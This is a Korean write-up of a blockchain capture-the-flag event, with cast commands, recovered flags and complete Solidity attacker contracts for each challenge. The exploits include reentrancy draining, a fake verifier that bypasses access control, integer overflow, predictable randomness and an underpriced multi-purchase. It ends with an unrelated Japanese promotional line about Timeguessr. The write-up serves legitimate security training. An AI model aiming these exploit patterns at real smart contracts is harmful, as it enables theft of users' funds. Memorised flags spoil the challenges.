1. Easy
1-1. Warm Up
1-2. Over 16
1-3. slots
1-4. forget me
2. Medium
2-1. Simple random game
2-2. Illegal Gamble
2-3. Gas Limit
2-4. Access Control
2-5. Mamma Mia!
2-6. Hello, NFT
3. Hard
3-1. Safe Deposit Box
3-2. RPG World
3-3. BMW Bugbounty
3-4. YuGiOh
% cast call --rpc-url sepolia_rpc 0xD11178b65C502c4688bE4768015439109504893F "Callme()(string)"
"flag{W31com3_T0_6lockcha1n_W0r1d}"
%
% cast send --rpc-url sepolia_rpc --private-key KEY 0x4822d8eFd2CC80810244A2eca4c4F0C0FD74BF2d "add_16(uint)" "16"
...
% cast call --rpc-url sepolia_rpc --private-key KEY 0x4822d8eFd2CC80810244A2eca4c4F0C0FD74BF2d "get16_Flag()(string)"
"flag{0H_y0u_0v3r_F7F7L!L!0Oo0WzWz_m3!}"
%
flag를 리턴해주는 함수가 있지만 flag가 아닌 값이 있습니다. constructor의 인자로 값을 받아 저장하는걸 보아 etherscan으로 input data를 찾아 플래그를 추출했습니다.
>>> bytes.fromhex("796f755f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000646f696e675f000000000000000000000000000000000000000000000000000072696768745f0000000000000000000000000000676f6f645f6a6f62215f7472795f6d6f72650000000000000000000000000000000000000000000000000000007265616c5f000000000000000000000000000000000000000000000000000000666c61673a00000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000643474615f316e5f736c307473217d0000000000000000000000000000000000000000000000000000000000000015666c61677b73306c69643174795f73376f7233735f0000000000000000000000")
b'you_\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00doing_\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00right_\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00good_job!_try_more\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00real_\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00flag:\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d4ta_1n_sl0ts!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15flag{s0lid1ty_s7or3s_\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>>
flag{s0lid1ty_s7or3s_d4ta_1n_sl0ts!}
owner 주소 를 가져온 후 owner 주소로 getFlag를 호출
% cast storage --rpc-url sepolia_rpc 0x1084cbb3F1aEC3E5610e0CE9940753fa1Af5b071 0
0x0000000000000000000000008c56b4e42cb149577b5a4442bad5f034b57f8354
% cast call --rpc-url sepolia_rpc 0x1084cbb3F1aEC3E5610e0CE9940753fa1Af5b071 -f 0x8c56b4e42cb149577b5a4442bad5f034b57f8354 'getFlag()(string)'
"flag{Ar3_y0u_g1ad_y0u_d1dn't_f0rg3t_m3?}"
%
owner == tx.origin면 answer = number라서 그냥 적절히 실행해주면 됩니다.
pragma solidity ^0.4.22;
import "../lib/SimpleRandomGame.sol";
contract SimpleRandomGameAttack {
goodLuck g = goodLuck(0x4AF94874056E34ECA8558149a0E5675De0Bbb7d6);
bytes s;
function attack1() public {
s = g.game(1235, 0);
}
function getS() public view returns(bytes) {
return s;
}
}
withdraw는 막혀있지만 moneySender가 public으로 노출되어있어서 바로 호출해주면 됩니다.
cast send --rpc-url sep --private-key KEY KEY "joinGamble()" --value 1wei
cast send --rpc-url sep --private-key KEY KEY "moneySender(address)" "MY_ADDR"
cast call --rpc-url sep --private-key KEY KEY "getFlag()(string)"
리밋이 들어가있어서 정상적인 decrypt는 불가능합니다. 랜덤 값을 미리 알아내고 decrypt를 진행하여 실제 호출 시에는 그저 반환만 하게 해줍니다.
pragma solidity ^0.6.0;
import "../lib/gasLimit.sol";
contract AttackGL {
gasLimit g = gasLimit(0x2e44211019FBDc1A9d88fD418559405306Fa95Cd);
bytes answer;
bytes flag;
function attack() public {
answer = realDec(abi.encode(
keccak256(
abi.encodePacked(address(this), block.timestamp, uint256(0))
)
));
flag = g.getFlag();
}
function getFlag() public view returns (string memory) {
return string(flag);
}
function realDec(bytes memory encrypted_text)
public
pure
returns (bytes memory)
{
uint256 length = bytes(encrypted_text).length;
for (uint256 i = 0; i < length; i++) {
bytes1 char = bytes(encrypted_text)[i];
char = bytes1(uint8(char) - uint8(0xab));
encrypted_text[i] = char;
}
return encrypted_text;
}
function decrypt(bytes calldata encrypted_text)
public
returns (bytes memory)
{
return answer;
}
}
인증 데이터를 받는 컨트랙트 주소를 사용자에게 직접 입력 받기에 적절하게 컨트랙트 코드를 짜주고 플래그를 가져오면 됩니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../lib/AccessControl.sol";
contract Attack {
AccessControll ac =
AccessControll(payable(0x1c2d7d1eA2f9113aAf2b6D62717207Fa1985ebeF));
MyCA ca = new MyCA();
constructor() {}
function attack1() public {
ac.accessRequest(payable(address(ca)));
}
function attack2() public {
ac.setSecurityLevel(address(this), 0);
}
function attack3() public view returns (string memory) {
return ac.flag();
}
}
contract MyCA {
constructor() {}
function verify(address user) public payable returns (bool) {
return true;
}
function setLevel(
address owner,
address toSet,
uint256 level
) public returns (uint256) {
return 5;
}
}
재진입 공격을 통해 모든 돈을 빼주고 플래그를 가져오면 됩니다.
pragma solidity ^0.8.13;
import "../lib/Mamma_Mia.sol";
contract MamAttack {
MammaMia m = MammaMia(0xb49cA7AdE68b3A4fB3D7F517171A4A98925F6fCb);
string flag;
constructor() {}
function attack1() public payable {
m.deposit{value: 0.001 ether}();
}
// 재진입 공격
function attack2() public {
m.withdraw();
}
function attack3() public {
m.captureFlag();
}
function attack4() public payable {
m.resetFlag{value: 0.001 ether}();
}
function attack5() public {
flag = m.getFlag();
}
function getFlag() public view returns (string memory) {
return flag;
}
receive() external payable {
if (m.getBalance() != 0) {
m.withdraw();
}
}
}
solidity 0.7.6을 사용 함에도 오버플로우를 따로 체크 안하여 음수 오버플로우를 이용하면 조건을 만족해 플래그를 얻을 수 있습니다.
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "../lib/obfuscation.sol";
contract HelloNFTAttack {
Hello_NFT nft = Hello_NFT(0x109B04F5BA21361360279BF75505fea8EcA29014);
string tokenId = "hibhjhbjhbjhb";
string flag;
constructor() {
nft._poa3dva(tokenId, -32768);
}
// 음수 오버플로우
function attack1() public {
nft._xvj1nsoi(tokenId);
flag = nft._adnj3ba(tokenId);
}
function getFlag() public view returns (string memory) {
return flag;
}
}
etherscan으로 비밀번호를 알아내고 SubAttack 컨트랙트를 만들어 계정을 생성하고 보내는 것을 반복하여 돈을 모으면 플래그를 살 수 있습니다.\
(인텐은 cancel_transaction를 여러 번 할 수 있는걸 이용해서 돈을 모아서 사야합니다.)
pragma solidity ^0.8.0;
import "../lib/SafeDepositBox.sol";
contract SubAttack {
address to;
SafeDepositBox box =
SafeDepositBox(0x033C0086ec3260e77918930a9C4E2a4726DD5958);
constructor(address _to) {
to = _to;
}
function attack2() public {
box.make_account();
box.safe_remittance_function(
unicode"안전한 비밀 암호인데 한글임ㅋㅋ",
to,
1000
);
}
}
contract SafeDepositBoxAttack {
SafeDepositBox box =
SafeDepositBox(0x033C0086ec3260e77918930a9C4E2a4726DD5958);
SubAttack sa = new SubAttack(address(this));
string flag;
uint256 h;
constructor() {
box.make_account();
}
function attack() public {
for (int256 i = 0; i < 100; i++) {
sa.attack2();
}
}
function buy_flag() public {
flag = box.buy_flag();
}
function my_balance() public view returns (uint256) {
return box.balances(address(this));
}
function get_flag() public view returns (string memory) {
return flag;
}
}
spawn을 하고 attack1을 반복해서 실행하여 신검을 살 돈을 모은 뒤 attack2를 이용하여 보스의 HP를 깎고 플래그를 얻으면 됩니다. \
spawn -> attack 1 2 3 4 -> getFlag
pragma solidity ^0.8.0;
import "../lib/rpg_game.sol";
contract RPGAttack {
RPG_World world = RPG_World(0xabDB4Af2454a47921E3D33f7B0Cd2CE1b87e21d6);
address world_owner = 0x41482D3f30FfF21308D6c962E167e4Cc8a65576A;
string flag;
constructor() {}
function getBossData() public view returns (uint[] memory) {
uint[] memory ret = new uint[](4);
ret[0] = world.HP((world_owner));
ret[1] = world.Money((world_owner));
ret[2] = world.Power((world_owner));
ret[3] = uint(world.equipped_weapon((world_owner)));
return ret;
}
function getMyData() public view returns (uint[] memory) {
uint[] memory ret = new uint[](4);
ret[0] = world.HP(address(this));
ret[1] = world.Money(address(this));
ret[2] = world.Power(address(this));
ret[3] = uint(world.equipped_weapon(address(this)));
return ret;
}
function spawn() public {
world.character_spawn();
}
function attack1() public {
uint[] memory a = new uint[](0);
world.quest_challenge(4, a);
if (world.HP(address(this)) == 0) {
revert("Wrong");
}
}
function attack2() public {
world.fight_with_enemy(address(world_owner), address(world_owner));
}
function attack3() public {
world.weapon_shop(5);
}
function attack4() public {
flag = world.challenge_Boss();
}
function getFlag() public view returns (string memory) {
return flag;
}
}
amount로 여러 번 구매 함에도 msg.value에서 차감하여 체크하지 않아 1 ether로 많은 nft를 구매할 수 있습니다.
pragma solidity ^0.8.0;
import "./NFT.sol";
import "./process.sol";
contract Attack{
BMW bmw = BMW(0xfC713AAB72F97671bADcb14669248C4e922fe2Bb);
BMW_process bp;
string flag;
constructor() {
bp = BMW_process(bmw.search_address());
}
function attack1() public payable {
bp.Buy_nft{value: 1 ether}(10001);
flag = bmw.flag();
}
function attack2() public view returns(string memory) {
return flag;
}
function getMyBalance() public view returns (uint256) {
return bp.check_my_nft(address(this));
}
}
적절하게 bruteforce를 하여 조건을 만족시키면 대사를 얻을 수 있습니다.
//SPDX-License-Identifier : MIT
pragma solidity ^0.8.0;
import "./YuGiOh.sol";
contract SubAttack {
YuGiOh y;
constructor(YuGiOh _y) {
y = _y;
}
function attack1() public {
if ((uint256(uint160(address(this))) + block.timestamp) % 100000 == 0) {
y.drawCard();
y.drawCard();
y.drawCard();
} else {
revert("Wrong");
}
}
function getValue() public view returns (uint256) {
return (uint256(uint160(address(this))) + block.timestamp) % 100000;
}
function Kaiba() public view returns (string memory) {
return y.Kaiba();
}
}
contract Attack {
SubAttack sa;
uint256 max = 0;
YuGiOh y = new YuGiOh();
constructor() {}
function gen() public {
for (uint256 i = 0; i < 100; i++) {
SubAttack _sa = new SubAttack(y);
uint256 val = _sa.getValue();
if (val == 0) {
sa = _sa;
_sa.attack1();
return;
}
if (val > max) {
sa = _sa;
max = val;
}
}
}
function attack1() public {
return sa.attack1();
}
function getValue() public view returns (uint256) {
return sa.getValue();
}
function Kaiba() public view returns (string memory) {
return sa.Kaiba();
}
}
Timeguessr は楽しくてやりがいがあるだけでなく、学習と発見を促す効果的な教育ツールでもあります。歴史的な写真に挑戦して、それがどの時代のもので、どこのものかを推測してみる準備はできていますか?